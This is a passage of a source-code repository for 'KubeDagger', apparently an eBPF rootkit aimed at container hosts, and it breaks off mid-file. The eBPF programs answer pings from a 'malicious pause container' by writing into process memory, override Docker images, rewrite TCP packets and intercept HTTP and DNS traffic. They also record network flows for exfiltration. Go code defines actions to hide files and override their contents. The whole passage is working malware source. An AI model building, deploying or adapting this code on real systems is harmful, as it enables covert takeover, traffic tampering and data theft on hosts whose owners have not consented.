/ebpf/kubedagger/stat.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _STAT_H_ 9 | #define _STAT_H_ 10 | 11 | struct kubedagger_ping_t { 12 | char ping[128]; 13 | }; 14 | 15 | SEC("tracepoint/raw_syscalls/newfstatat") 16 | int sys_enter_newfstatat(struct tracepoint_raw_syscalls_sys_enter_t *args) { 17 | u8 action = PING_NOP_CHR; 18 | char *filename; 19 | bpf_probe_read(&filename, sizeof(filename), &args->args[1]); 20 | 21 | // check if this is a ping from our malicious pause container 22 | struct kubedagger_ping_t ping = {}; 23 | bpf_probe_read_str(ping.ping, sizeof(ping.ping), filename); 24 | if (ping.ping[0] != 'e' || 25 | ping.ping[1] != 'b' || 26 | ping.ping[2] != 'p' || 27 | ping.ping[3] != 'f' || 28 | ping.ping[4] != 'k' || 29 | ping.ping[5] != 'i' || 30 | ping.ping[6] != 't' || 31 | ping.ping[7] != ':' || 32 | ping.ping[8] != '/' || 33 | ping.ping[9] != '/') { 34 | return 0; 35 | } 36 | 37 | if (ping.ping[10] == 'p' && 38 | ping.ping[11] == 'i' && 39 | ping.ping[12] == 'n' && 40 | ping.ping[13] == 'g' && 41 | ping.ping[14] == ':') { 42 | 43 | struct image_override_key_t key = {}; 44 | u32 len = bpf_probe_read_str(&key.image, DOCKER_IMAGE_LEN, &ping.ping[15]); 45 | key.prefix = len - 1; 46 | // bpf_printk("stat (%d): %s\n", key.prefix, key.image); 47 | 48 | struct image_override_t *img = bpf_map_lookup_elem(&image_override, &key); 49 | if (img == NULL) { 50 | return 0; 51 | } 52 | // bpf_printk("action: %d\n", img->ping); 53 | 54 | if (img->ping == PING_NOP) { 55 | return 0; 56 | } else if (img->ping == PING_RUN) { 57 | action = PING_RUN_CHR; 58 | } else if (img->ping == PING_CRASH) { 59 | action = PING_CRASH_CHR; 60 | } 61 | bpf_probe_write_user(filename, &action, 1); 62 | // bpf_printk("response: %s\n", filename); 63 | } 64 | 65 | return 0; 66 | } 67 | 68 | #endif -------------------------------------------------------------------------------- /ebpf/kubedagger/tc.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _TC_H_ 9 | #define _TC_H_ 10 | 11 | SEC("classifier/egress") 12 | int egress(struct __sk_buff *skb) 13 | { 14 | struct cursor c; 15 | struct pkt_ctx_t pkt; 16 | 17 | tc_cursor_init(&c, skb); 18 | if (!(pkt.eth = parse_ethhdr(&c))) { 19 | return TC_ACT_OK; 20 | } 21 | 22 | // we only support IPv4 for now 23 | if (pkt.eth->h_proto != htons(ETH_P_IP)) { 24 | return TC_ACT_OK; 25 | } 26 | 27 | if (!(pkt.ipv4 = parse_iphdr(&c))) { 28 | return TC_ACT_OK; 29 | } 30 | 31 | switch (pkt.ipv4->protocol) { 32 | case IPPROTO_TCP: 33 | if (!(pkt.tcp = parse_tcphdr(&c))) { 34 | return TC_ACT_OK; 35 | } 36 | break; 37 | 38 | case IPPROTO_UDP: 39 | if (!(pkt.udp = parse_udphdr(&c))) { 40 | return TC_ACT_OK; 41 | } 42 | break; 43 | 44 | default: 45 | return TC_ACT_OK; 46 | } 47 | 48 | // generate flow 49 | struct flow_t flow = { 50 | .data = { 51 | .saddr = pkt.ipv4->saddr, 52 | .daddr = pkt.ipv4->daddr, 53 | .flow_type = EGRESS_FLOW, 54 | }, 55 | }; 56 | if (pkt.ipv4->protocol == IPPROTO_TCP) { 57 | flow.data.source_port = htons(pkt.tcp->source); 58 | flow.data.dest_port = htons(pkt.tcp->dest); 59 | } else if (pkt.ipv4->protocol == IPPROTO_UDP) { 60 | flow.data.source_port = htons(pkt.udp->source); 61 | flow.data.dest_port = htons(pkt.udp->dest); 62 | } else { 63 | return TC_ACT_OK; 64 | } 65 | 66 | // select flow counter 67 | struct network_flow_counter_t *counter = bpf_map_lookup_elem(&network_flows, &flow); 68 | if (counter == NULL) { 69 | // this is a new flow, generate a new entry 70 | u32 key = 0; 71 | u32 *next_key = bpf_map_lookup_elem(&network_flow_next_key, &key); 72 | if (next_key == NULL) { 73 | // should never happen 74 | return TC_ACT_OK; 75 | } 76 | 77 | // check if we should loop back to the first entry 78 | if (*next_key == MAX_FLOW_COUNT) { 79 | *next_key = 0; 80 | } else if (*next_key == MAX_FLOW_COUNT + 1) { 81 | // ignore new flows until the client exfiltrates the collected data 82 | return TC_ACT_OK; 83 | } else if (*next_key > MAX_FLOW_COUNT + 1) { 84 | // should never happen 85 | return TC_ACT_OK; 86 | } 87 | 88 | // delete previous flow counter at next_key 89 | struct flow_t *prev_flow = bpf_map_lookup_elem(&network_flow_keys, next_key); 90 | if (prev_flow != NULL) { 91 | bpf_map_delete_elem(&network_flows, prev_flow); 92 | bpf_map_delete_elem(&network_flow_keys, next_key); 93 | } 94 | 95 | // set flow counter for provided key 96 | struct network_flow_counter_t new_counter = {}; 97 | bpf_map_update_elem(&network_flows, &flow, &new_counter, BPF_ANY); 98 | 99 | // set the flow in the network_flow_keys for exfiltration 100 | bpf_map_update_elem(&network_flow_keys, next_key, &flow, BPF_ANY); 101 | *next_key += 1; 102 | } 103 | 104 | counter = bpf_map_lookup_elem(&network_flows, &flow); 105 | if (counter == NULL) { 106 | // should never happen 107 | return TC_ACT_OK; 108 | } 109 | 110 | // add packet length to counter 111 | if (pkt.ipv4->protocol == IPPROTO_TCP) { 112 | counter->data.tcp_count = counter->data.tcp_count + htons(pkt.ipv4->tot_len); 113 | } else if (pkt.ipv4->protocol == IPPROTO_UDP) { 114 | counter->data.udp_count = counter->data.udp_count + htons(pkt.ipv4->tot_len); 115 | } 116 | 117 | bpf_tail_call(skb, &tc_progs, TC_DISPATCH); 118 | return TC_ACT_OK; 119 | } 120 | 121 | SEC("classifier/egress_dispatch") 122 | int egress_dispatch(struct __sk_buff *skb) 123 | { 124 | struct cursor c; 125 | struct pkt_ctx_t pkt; 126 | 127 | tc_cursor_init(&c, skb); 128 | if (!(pkt.eth = parse_ethhdr(&c))) 129 | return TC_ACT_OK; 130 | 131 | // we only support IPv4 for now 132 | if (pkt.eth->h_proto != htons(ETH_P_IP)) 133 | return TC_ACT_OK; 134 | 135 | if (!(pkt.ipv4 = parse_iphdr(&c))) 136 | return TC_ACT_OK; 137 | 138 | switch (pkt.ipv4->protocol) { 139 | case IPPROTO_TCP: 140 | if (!(pkt.tcp = parse_tcphdr(&c)) || pkt.tcp->source != htons(load_http_server_port())) 141 | return TC_ACT_OK; 142 | 143 | // bpf_printk("OUT - SEQ:%x ACK_NO:%x ACK:%d\n", htons(pkt.tcp->seq >> 16) + (htons(pkt.tcp->seq) << 16), htons(pkt.tcp->ack_seq >> 16) + (htons(pkt.tcp->ack_seq) << 16), pkt.tcp->ack); 144 | // bpf_printk(" len: %d\n", htons(pkt.ipv4->tot_len) - (pkt.tcp->doff << 2) - (pkt.ipv4->ihl << 2)); 145 | 146 | // adjust cursor with variable tcp options 147 | c.pos += (pkt.tcp->doff << 2) - sizeof(struct tcphdr); 148 | return handle_http_resp(skb, &c, &pkt); 149 | 150 | case IPPROTO_UDP: 151 | if (!(pkt.udp = parse_udphdr(&c)) || pkt.udp->dest != htons(DNS_PORT)) 152 | return TC_ACT_OK; 153 | 154 | return handle_dns_req(skb, &c, &pkt); 155 | } 156 | 157 | return TC_ACT_OK; 158 | }; 159 | 160 | #endif 161 | -------------------------------------------------------------------------------- /ebpf/kubedagger/tcp_ack_override.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _TCP_ACK_OVERRIDE_H_ 9 | #define _TCP_ACK_OVERRIDE_H_ 10 | 11 | struct ack_override_key_t { 12 | u32 saddr; 13 | u32 daddr; 14 | u16 source_port; 15 | u16 dest_port; 16 | u32 expected_ack_seq; 17 | }; 18 | 19 | struct ack_override_t { 20 | u32 seq; 21 | u32 ack_seq; 22 | }; 23 | 24 | struct bpf_map_def SEC("maps/ack_overrides") ack_overrides = { 25 | .type = BPF_MAP_TYPE_LRU_HASH, 26 | .key_size = sizeof(struct ack_override_key_t), 27 | .value_size = sizeof(struct ack_override_t), 28 | .max_entries = 4096, 29 | .pinning = 0, 30 | .namespace = "", 31 | }; 32 | 33 | __attribute__((always_inline)) int register_ack_override(struct iphdr *ipv4, struct tcphdr *tcp, uint16_t to_strip) { 34 | u32 segment_len = htons(ipv4->tot_len) - (tcp->doff << 2) - (ipv4->ihl << 2); 35 | u32 expected = htons(tcp->seq >> 16) + (htons(tcp->seq) << 16) + segment_len - to_strip; 36 | u32 override = htons(tcp->seq >> 16) + (htons(tcp->seq) << 16) + segment_len; 37 | 38 | struct ack_override_key_t key = { 39 | .saddr = ipv4->daddr, 40 | .daddr = ipv4->saddr, 41 | .source_port = tcp->dest, 42 | .dest_port = tcp->source, 43 | .expected_ack_seq = ntohs(expected >> 16) + (ntohs(expected) << 16), 44 | }; 45 | 46 | struct ack_override_t value = { 47 | .seq = tcp->ack_seq, 48 | .ack_seq = ntohs(override >> 16) + (ntohs(override) << 16), 49 | // .ack_seq = override, 50 | }; 51 | 52 | bpf_map_update_elem(&ack_overrides, &key, &value, BPF_ANY); 53 | return 0; 54 | } 55 | 56 | #define IP_CSUM_OFF (ETH_HLEN + offsetof(struct iphdr, check)) 57 | #define TCP_CSUM_OFF (ETH_HLEN + sizeof(struct iphdr) + offsetof(struct tcphdr, check)) 58 | #define TCP_ACK_SEQ_OFF (ETH_HLEN + sizeof(struct iphdr) + offsetof(struct tcphdr, ack_seq)) 59 | #define IS_PSEUDO 0x10 60 | 61 | __attribute__((always_inline)) int ack_override(struct __sk_buff *skb, struct cursor *c, struct ethhdr *eth, struct iphdr *ipv4, struct tcphdr *tcp) { 62 | struct ack_override_key_t key = { 63 | .saddr = ipv4->saddr, 64 | .daddr = ipv4->daddr, 65 | .source_port = tcp->source, 66 | .dest_port = tcp->dest, 67 | .expected_ack_seq = tcp->ack_seq, 68 | }; 69 | 70 | struct ack_override_t *value = bpf_map_lookup_elem(&ack_overrides, &key); 71 | if (value == NULL) 72 | return 0; 73 | 74 | bpf_printk("OVERRIDE NEEDED !! %x %x\n", tcp->ack_seq, value->ack_seq); 75 | bpf_printk("data:%x ack_seq:%x ack_seq_off:%d\n", (void*)(long)skb->data, (void*)&tcp->ack_seq, TCP_ACK_SEQ_OFF); 76 | 77 | // u32 old_val = htons(tcp->ack_seq >> 16) + (htons(tcp->ack_seq) << 16); 78 | u32 old_val = key.expected_ack_seq; 79 | u32 new_val = value->ack_seq; 80 | 81 | bpf_l4_csum_replace(skb, TCP_CSUM_OFF, old_val, new_val, sizeof(new_val)); 82 | // bpf_l3_csum_replace(skb, IP_CSUM_OFF, old_val, new_val, sizeof(new_val)); 83 | bpf_skb_store_bytes(skb, TCP_ACK_SEQ_OFF, &new_val, sizeof(new_val), 0); 84 | 85 | tc_cursor_init(c, skb); 86 | if (!(eth = parse_ethhdr(c))) 87 | return TC_ACT_OK; 88 | 89 | // we only support IPv4 for now 90 | if (eth->h_proto != htons(ETH_P_IP)) 91 | return TC_ACT_OK; 92 | 93 | if (!(ipv4 = parse_iphdr(c)) || ipv4->protocol != IPPROTO_TCP) 94 | return TC_ACT_OK; 95 | 96 | if (!(tcp = parse_tcphdr(c)) || tcp->source != htons(8000)) 97 | return TC_ACT_OK; 98 | 99 | bpf_printk("NEW data:%x ack_seq:%x\n", (void*)(long)skb->data, (void*)&tcp->ack_seq); 100 | 101 | bpf_map_delete_elem(&ack_overrides, &key); 102 | return 0; 103 | } 104 | 105 | 106 | #endif 107 | -------------------------------------------------------------------------------- /ebpf/kubedagger/tcp_check.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _TCP_CHECK_H_ 9 | #define _TCP_CHECK_H_ 10 | 11 | __attribute__((always_inline)) void xdp_compute_tcp_csum(struct xdp_md *ctx, struct cursor *c, struct pkt_ctx_t *pkt) { 12 | xdp_cursor_init(c, ctx); 13 | if (!(pkt->eth = parse_ethhdr(c))) 14 | return; 15 | 16 | if (!(pkt->ipv4 = parse_iphdr(c))) 17 | return; 18 | 19 | if (!(pkt->tcp = parse_tcphdr(c))) 20 | return; 21 | 22 | u64 csum = 0; 23 | 24 | // source IP 25 | csum += ntohs(pkt->ipv4->saddr >> 16) + (ntohs(pkt->ipv4->saddr) << 16); 26 | // dest ip 27 | csum += ntohs(pkt->ipv4->daddr >> 16) + (ntohs(pkt->ipv4->daddr) << 16); 28 | // protocol and reserved 29 | csum += (u16) IPPROTO_TCP; 30 | // length 31 | u16 tcpLen = ntohs(pkt->ipv4->tot_len) - (pkt->ipv4->ihl << 2); 32 | csum += tcpLen; 33 | 34 | // initialize checksum to 0 before computing csum of tcp header & data 35 | pkt->tcp->check = 0; 36 | 37 | u8 *cursor = (void *)pkt->tcp; 38 | u8 shift = 1; 39 | 40 | #pragma unroll 41 | for (int j = 0; j < 500; j++) { 42 | csum += (*cursor << (shift * 8)); 43 | cursor++; 44 | shift = !shift; 45 | 46 | if (cursor + 1 > c->end) { 47 | goto next_csum; 48 | } 49 | } 50 | 51 | next_csum: 52 | csum = (csum & 0xFFFF) + (u16)(csum >> 16); 53 | csum = (csum & 0xFFFF) + (u16)(csum >> 16); 54 | 55 | pkt->tcp->check = htons((u16)~(csum & 0xFFFF)); 56 | } 57 | 58 | #endif 59 | -------------------------------------------------------------------------------- /ebpf/kubedagger/xdp.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _XDP_H_ 9 | #define _XDP_H_ 10 | 11 | SEC("xdp/ingress_dispatch") 12 | int xdp_ingress_dispatch(struct xdp_md *ctx) { 13 | struct cursor c; 14 | struct pkt_ctx_t pkt; 15 | int ret = parse_xdp_packet(ctx, &c, &pkt); 16 | if (ret < 0) { 17 | return XDP_PASS; 18 | } 19 | 20 | switch (pkt.ipv4->protocol) { 21 | case IPPROTO_TCP: 22 | if (pkt.tcp->dest != htons(load_http_server_port())) { 23 | return XDP_PASS; 24 | } 25 | 26 | return route_http_req(ctx, &pkt); 27 | 28 | case IPPROTO_UDP: 29 | if (pkt.udp->source != htons(DNS_PORT)) { 30 | return XDP_PASS; 31 | } 32 | 33 | bpf_tail_call(ctx, &xdp_progs, DNS_RESP_HANDLER); 34 | break; 35 | } 36 | 37 | return XDP_PASS; 38 | } 39 | 40 | SEC("xdp/ingress") 41 | int xdp_ingress(struct xdp_md *ctx) { 42 | struct cursor c; 43 | struct pkt_ctx_t pkt; 44 | int ret = parse_xdp_packet_no_l7(ctx, &c, &pkt); 45 | if (ret < 0) { 46 | return XDP_PASS; 47 | } 48 | 49 | // monitor ingress traffic for IPV4 + TCP or UDP 50 | if (pkt.ipv4->protocol == IPPROTO_TCP || pkt.ipv4->protocol == IPPROTO_UDP) { 51 | monitor_flow_xdp(&pkt); 52 | } 53 | 54 | bpf_tail_call(ctx, &xdp_progs, XDP_DISPATCH); 55 | return XDP_PASS; 56 | } 57 | 58 | #endif 59 | -------------------------------------------------------------------------------- /ebpf/main.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #pragma clang diagnostic push 9 | #pragma clang diagnostic ignored "-Waddress-of-packed-member" 10 | #pragma clang diagnostic ignored "-Warray-bounds" 11 | #pragma clang diagnostic ignored "-Wunused-label" 12 | #pragma clang diagnostic ignored "-Wgnu-variable-sized-type-not-at-end" 13 | #include 14 | #include 15 | 16 | #include 17 | #include 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | /* In Linux 5.4 asm_inline was introduced, but it's not supported by clang. 32 | * Redefine it to just asm to enable successful compilation. 33 | */ 34 | #ifdef asm_inline 35 | #undef asm_inline 36 | #define asm_inline asm 37 | #endif 38 | /* Before bpf_helpers.h is included, uapi bpf.h has been 39 | * included, which references linux/types.h. This may bring 40 | * in asm_volatile_goto definition if permitted based on 41 | * compiler setup and kernel configs. 42 | * 43 | * clang does not support "asm volatile goto" yet. 44 | * So redefine asm_volatile_goto to some invalid asm code. 45 | * If asm_volatile_goto is actually used by the bpf program, 46 | * a compilation error will appear. 47 | */ 48 | #ifdef asm_volatile_goto 49 | #undef asm_volatile_goto 50 | #endif 51 | #define asm_volatile_goto(x...) asm volatile("invalid use of asm_volatile_goto") 52 | #pragma clang diagnostic pop 53 | 54 | // Custom eBPF helpers 55 | #include "bpf/bpf.h" 56 | #include "bpf/bpf_map.h" 57 | #include "bpf/bpf_helpers.h" 58 | 59 | // kubedagger probes 60 | #include "kubedagger/base64.h" 61 | #include "kubedagger/const.h" 62 | #include "kubedagger/defs.h" 63 | #include "kubedagger/hash.h" 64 | #include "kubedagger/process.h" 65 | #include "kubedagger/raw_syscalls.h" 66 | #include "kubedagger/parser.h" 67 | #include "kubedagger/cgroup.h" 68 | #include "kubedagger/http_router.h" 69 | #include "kubedagger/tcp_check.h" 70 | #include "kubedagger/http_action.h" 71 | #include "kubedagger/dns.h" 72 | #include "kubedagger/pipe.h" 73 | #include "kubedagger/fs_watch.h" 74 | #include "kubedagger/fs_action_defs.h" 75 | #include "kubedagger/fs_action_user.h" 76 | #include "kubedagger/docker.h" 77 | #include "kubedagger/postgres.h" 78 | #include "kubedagger/sqli.h" 79 | #include "kubedagger/network_discovery.h" 80 | #include "kubedagger/arp.h" 81 | #include "kubedagger/stat.h" 82 | #include "kubedagger/fs.h" 83 | #include "kubedagger/http_response.h" 84 | #include "kubedagger/bpf.h" 85 | #include "kubedagger/xdp.h" 86 | #include "kubedagger/tc.h" 87 | 88 | char _license[] SEC("license") = "GPL"; 89 | __u32 _version SEC("version") = 0xFFFFFFFE; 90 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/yasindce1998/KubeDagger 2 | 3 | go 1.15 4 | 5 | require ( 6 | github.com/DataDog/ebpf v0.0.0-20210621195550-a11d67faa31d 7 | github.com/cilium/ebpf v0.10.0 // indirect 8 | github.com/gorilla/mux v1.8.0 9 | github.com/inhies/go-bytesize v0.0.0-20201103132853-d0aed0d254f8 10 | github.com/moby/sys/mountinfo v0.4.1 11 | github.com/pkg/errors v0.9.1 12 | github.com/shuLhan/go-bindata v4.0.0+incompatible 13 | github.com/sirupsen/logrus v1.7.0 14 | github.com/spf13/cobra v1.1.1 15 | golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5 16 | golang.org/x/sys v0.2.0 17 | ) 18 | -------------------------------------------------------------------------------- /logo/logo-removebg-preview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yasindce1998/KubeDagger/9f73fa9b4d13f225e34f7534d33cd010905ad147/logo/logo-removebg-preview.png -------------------------------------------------------------------------------- /pkg/kubedagger/byteorder.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package kubedagger 18 | 19 | import ( 20 | "encoding/binary" 21 | "unsafe" 22 | ) 23 | 24 | // GetHostByteOrder guesses the hosts byte order 25 | func GetHostByteOrder() binary.ByteOrder { 26 | var i int32 = 0x01020304 27 | u := unsafe.Pointer(&i) 28 | pb := (*byte)(u) 29 | b := *pb 30 | if b == 0x04 { 31 | return binary.LittleEndian 32 | } 33 | 34 | return binary.BigEndian 35 | } 36 | 37 | // ByteOrder holds the hosts byte order 38 | var ByteOrder binary.ByteOrder 39 | 40 | func init() { 41 | ByteOrder = GetHostByteOrder() 42 | } 43 | -------------------------------------------------------------------------------- /pkg/kubedagger/fa_action.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2021 SYLVAIN AFCHAIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package kubedagger 18 | 19 | import ( 20 | "fmt" 21 | "os" 22 | "path" 23 | "strings" 24 | ) 25 | 26 | // fs actions 27 | const ( 28 | FaKMsgAction uint64 = 1 29 | FaOverrideContentAction uint64 = 2 30 | FaOverrideReturnAction uint64 = 4 31 | FaHideFileAction uint64 = 8 32 | FaAppendContentAction uint64 = 16 33 | ) 34 | 35 | // progs 36 | const ( 37 | FaKMsgProg = iota + FaKMsgAction 38 | FaOverrideContentProg 39 | 40 | FaFillWithZeroProg = 10 41 | FaOverrideGetDentsProg = 11 42 | ) 43 | 44 | type FaFdContentKey struct { 45 | ID uint64 46 | Chunk uint32 47 | } 48 | 49 | // Write write binary representation 50 | func (p *FaFdContentKey) Write(buffer []byte) { 51 | ByteOrder.PutUint64(buffer[0:8], p.ID) 52 | ByteOrder.PutUint32(buffer[8:12], p.Chunk) 53 | } 54 | 55 | // Bytes returns array of byte representation 56 | func (p *FaFdContentKey) Bytes() []byte { 57 | b := make([]byte, 16) 58 | p.Write(b) 59 | return b 60 | } 61 | 62 | type FaFdContent struct { 63 | Size uint64 64 | Content [64]byte 65 | } 66 | 67 | // Write write binary representation 68 | func (p *FaFdContent) Write(buffer []byte) { 69 | ByteOrder.PutUint64(buffer[0:8], p.Size) 70 | copy(buffer[8:], p.Content[:]) 71 | } 72 | 73 | // Bytes returns array of byte representation 74 | func (p *FaFdContent) Bytes() []byte { 75 | b := make([]byte, len(p.Content)+8) 76 | p.Write(b) 77 | return b 78 | } 79 | 80 | type FaFdKey struct { 81 | Fd uint64 82 | Pid uint32 83 | } 84 | 85 | // Write write binary representation 86 | func (p *FaFdKey) Write(buffer []byte) { 87 | ByteOrder.PutUint64(buffer[0:8], p.Fd) 88 | ByteOrder.PutUint32(buffer[8:12], p.Pid) 89 | } 90 | 91 | // Bytes returns array of byte representation 92 | func (p *FaFdKey) Bytes() []byte { 93 | b := make([]byte, 16) 94 | p.Write(b) 95 | return b 96 | } 97 | 98 | // FaFdAttr represents a file 99 | type FaFdAttr struct { 100 | Action uint64 101 | ReturnValue int64 102 | } 103 | 104 | // Write write binary representation 105 | func (p *FaFdAttr) Write(buffer []byte) { 106 | ByteOrder.PutUint64(buffer[0:8], p.Action) 107 | ByteOrder.PutUint64(buffer[8:16], uint64(p.ReturnValue)) 108 | } 109 | 110 | // Bytes returns array of byte representation 111 | func (p *FaFdAttr) Bytes() []byte { 112 | b := make([]byte, 64) 113 | p.Write(b) 114 | return b 115 | } 116 | 117 | // FaPathKey represents a path node used to match in-kernel path 118 | type FaPathKey struct { 119 | Path string 120 | Pos uint64 121 | } 122 | 123 | // Write write binary representation 124 | func (p *FaPathKey) Write(buffer []byte) { 125 | hash := FNVHashStr(p.Path) 126 | ByteOrder.PutUint64(buffer[0:8], hash) 127 | ByteOrder.PutUint64(buffer[8:16], p.Pos) 128 | } 129 | 130 | // Bytes returns array of byte representation 131 | func (p *FaPathKey) Bytes() []byte { 132 | b := make([]byte, 16) 133 | p.Write(b) 134 | return b 135 | } 136 | 137 | func (p *FaPathKey) String() string { 138 | return fmt.Sprintf("Path: %s, Pos: %d, Hash: %d", p.Path, p.Pos, FNVHashStr(p.Path)) 139 | } 140 | 141 | // FsPathKeys returns a list of FsPathKey for the given path 142 | func FaPathKeys(s string) []FaPathKey { 143 | var keys []FaPathKey 144 | 145 | els := strings.Split(s, "/") 146 | 147 | if len(els) > 0 { 148 | if els[0] == "" { 149 | els[0] = "/" 150 | } 151 | if els[len(els)-1] == "" { 152 | els = els[:len(els)-1] 153 | } 154 | } 155 | last := len(els) - 1 156 | 157 | for i, el := range els { 158 | keys = append(keys, FaPathKey{ 159 | Path: el, 160 | Pos: uint64(last - i), 161 | }) 162 | } 163 | 164 | return keys 165 | } 166 | 167 | // FaPathAttr represents attr to apply for a path 168 | type FaPathAttr struct { 169 | FSType string 170 | Action uint64 171 | OverrideID uint64 172 | ReturnValue int64 173 | HiddenHash uint64 174 | Comm string 175 | } 176 | 177 | // Write write binary representation 178 | func (p *FaPathAttr) Write(buffer []byte) { 179 | var fsHash uint64 180 | if p.FSType != "" { 181 | fsHash = FNVHashStr(p.FSType) 182 | } 183 | 184 | var commHash uint64 185 | if p.Comm != "" { 186 | commHash = FNVHashStr(p.Comm) 187 | } 188 | 189 | ByteOrder.PutUint64(buffer[0:8], fsHash) 190 | ByteOrder.PutUint64(buffer[8:16], commHash) 191 | ByteOrder.PutUint64(buffer[16:24], p.Action) 192 | ByteOrder.PutUint64(buffer[24:32], uint64(p.ReturnValue)) 193 | ByteOrder.PutUint64(buffer[32:40], p.OverrideID) 194 | ByteOrder.PutUint64(buffer[40:48], p.HiddenHash) 195 | } 196 | 197 | // Bytes returns array of byte representation 198 | func (p *FaPathAttr) Bytes() []byte { 199 | b := make([]byte, 48) 200 | p.Write(b) 201 | return b 202 | } 203 | 204 | func (p *FaPathAttr) String() string { 205 | return fmt.Sprintf("FSType: %s, Hash: %d", p.FSType, FNVHashStr(p.FSType)) 206 | } 207 | 208 | func GetExeHash() uint64 { 209 | exe, _ := os.Executable() 210 | return FNVHashStr(path.Base(exe)) 211 | } 212 | -------------------------------------------------------------------------------- /pkg/kubedagger/hash.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2021 SYLVAIN AFCHAIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package kubedagger 18 | 19 | import ( 20 | "fmt" 21 | "hash/fnv" 22 | ) 23 | 24 | func FNVHashByte(b []byte) uint64 { 25 | hash := fnv.New64a() 26 | hash.Write(b) 27 | return hash.Sum64() 28 | } 29 | 30 | func FNVHashStr(s string) uint64 { 31 | return FNVHashByte([]byte(s)) 32 | } 33 | 34 | func FNVHashInt(i int) uint64 { 35 | return FNVHashStr(fmt.Sprintf("%d", i)) 36 | } 37 | -------------------------------------------------------------------------------- /pkg/kubedagger/model.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package kubedagger 18 | 19 | import ( 20 | "crypto/md5" 21 | "encoding/hex" 22 | "runtime" 23 | ) 24 | 25 | // Options contains the parameters 26 | type Options struct { 27 | TargetHTTPServerPort int 28 | IngressIfname string 29 | EgressIfname string 30 | DockerDaemonPath string 31 | PostgresqlPath string 32 | WebappPath string 33 | DisableNetwork bool 34 | DisableBPFObfuscation bool 35 | SrcFile string 36 | TargetFile string 37 | AppendMode bool 38 | Comm string 39 | } 40 | 41 | func (o Options) check() error { 42 | return nil 43 | } 44 | 45 | // HTTPHandler is used to route HTTP requests to eBPF handlers 46 | type HTTPHandler uint32 47 | 48 | const ( 49 | // HTTPActionHandler is the handler used to apply the requested HTTP action 50 | HTTPActionHandler HTTPHandler = iota 51 | // AddFSWatchHandler is the handler used to add a filesystem watch 52 | AddFSWatchHandler 53 | // DelFSWatchHandler is the handler used to remove a filesystem watch 54 | DelFSWatchHandler 55 | // GetFSWatchHandler is the handler used to dump a file 56 | GetFSWatchHandler 57 | // DNSResponseHandler is the handler used to handle 